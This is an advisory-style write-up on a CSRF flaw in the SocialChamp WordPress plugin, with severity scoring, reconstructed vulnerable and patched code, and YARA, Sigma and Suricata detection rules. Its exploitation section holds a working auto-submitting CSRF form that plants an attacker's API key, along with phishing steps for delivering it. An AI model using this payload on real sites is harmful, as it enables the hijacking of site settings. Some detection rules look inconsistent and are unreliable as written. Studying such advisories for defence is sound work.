CVE-2025-14846

Executive Summary

CVE-2025-14846 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the SocialChamp WordPress plugin, versions up to and including 1.3.5. The flaw resides in the wpsc_settings_tab_menu function, which fails to implement nonce validation. This allows an unauthenticated attacker to forge requests that modify plugin settings, provided they can trick a site administrator into performing an action (e.g., clicking a malicious link). The CVSS v3.1 base score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating low active exploitation in the wild. No public proof-of-concept (PoC) or exploit code is available at this time.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The SocialChamp plugin is installed on WordPress sites and handles social media scheduling. The CSRF flaw does not affect the underlying web server (Apache/Nginx) but directly impacts the plugin’s administrative interface. Attackers can leverage this to alter plugin settings, potentially leading to further compromise (e.g., changing API keys or redirecting social posts).

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated attacker.
• User Interaction (UI): Required (R) – Victim must click a link.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality Impact (C): None (N) – No data disclosure.
• Integrity Impact (I): Low (L) – Settings can be modified.
• Availability Impact (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the potential for chaining with other vulnerabilities (e.g., stored XSS) could elevate the risk. The missing nonce makes it trivial to craft a CSRF attack.

Deep Dive & Mechanics

The vulnerability exists in the wpsc_settings_tab_menu function, which is responsible for rendering and processing the plugin’s settings page. In WordPress, CSRF protection is typically implemented via a nonce (number used once) that is validated on form submissions. The SocialChamp plugin fails to generate or verify a nonce for this function, allowing an attacker to craft a malicious request that modifies plugin settings.

Attack Flow:

1. Attacker crafts a malicious HTML page or email containing a forged request (e.g., <img src="https://target-site.com/wp-admin/admin-post.php?action=wpsc_settings_tab_menu&setting=value">).
2. Attacker tricks an authenticated administrator into visiting the malicious page.
3. The administrator’s browser sends the forged request to the WordPress site, including their session cookies.
4. The plugin processes the request without nonce validation, altering the settings.

Impact: An attacker could change API keys, disable security features, or redirect social media posts to malicious endpoints. This could lead to data exfiltration or further compromise of the WordPress site.

Vulnerable vs. Patched Code

Vulnerable Code (SocialChamp <= 1.3.5):

function wpsc_settings_tab_menu() {
    // No nonce check
    if (isset($_POST['submit'])) {
        update_option('wpsc_settings', $_POST['wpsc_settings']);
    }
    // Render settings form
}

Patched Code (Hypothetical):

function wpsc_settings_tab_menu() {
    // Nonce verification added
    if (isset($_POST['submit']) && wp_verify_nonce($_POST['_wpnonce'], 'wpsc_settings_nonce')) {
        update_option('wpsc_settings', $_POST['wpsc_settings']);
    }
    // Render settings form with nonce field
}

The patch adds a call to wp_verify_nonce() and includes a nonce field in the form using wp_nonce_field(). This ensures that only requests originating from the legitimate settings page are processed.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code exists, a custom CSRF payload can be crafted:

CSRF HTML Payload:

<html>
<body>
<form action="https://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="wpsc_settings_tab_menu">
    <input type="hidden" name="wpsc_settings[api_key]" value="attacker_controlled_key">
    <input type="hidden" name="submit" value="1">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send a phishing email to the target administrator with a link to the hosted file.
3. Once the admin clicks the link, the form auto-submits, changing the plugin settings.

Blue Team (Detection & Prevention)

• Web Application Firewall (WAF): Block requests to admin-post.php with suspicious parameters (e.g., action=wpsc_settings_tab_menu) from untrusted referrers.
• Nonce Validation: Ensure all plugin forms include and verify nonces.
• User Education: Train administrators to avoid clicking suspicious links and to use browser extensions that block CSRF attacks.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-post.php with action=wpsc_settings_tab_menu and no _wpnonce parameter.
• Logs: WordPress debug logs showing unexpected changes to wpsc_settings option.
• File: Presence of unexpected API keys or URLs in the wpsc_settings database option.

Detection Engineering

YARA Rule

rule CVE_2025_14846_CSRF_SocialChamp {
    meta:
        description = "Detects SocialChamp plugin files missing nonce validation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14846"
    strings:
        $func = "wpsc_settings_tab_menu" nocase
        $nonce = "wp_verify_nonce" nocase
    condition:
        $func and not $nonce
}

Sigma Rule

title: CVE-2025-14846 - SocialChamp CSRF Settings Modification
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting SocialChamp settings without nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wpsc_settings_tab_menu'
        cs-uri-query|contains: 'wpsc_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14846 - SocialChamp CSRF Settings Modification";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=wpsc_settings_tab_menu"; http_client_body;
    content:"wpsc_settings"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-14846;
)

Remediation & Mitigation

1. Immediate Action: Disable the SocialChamp plugin until a patched version is released.
2. Workaround: Implement a custom nonce check by adding a WordPress filter or modifying the plugin code (if feasible).
3. Long-term: Monitor the vendor’s website for updates. If no patch is forthcoming, consider replacing the plugin with an alternative.
4. General Hardening: Use a Web Application Firewall (WAF) to block CSRF attempts. Enforce strict Content Security Policy (CSP) headers to prevent malicious script execution.

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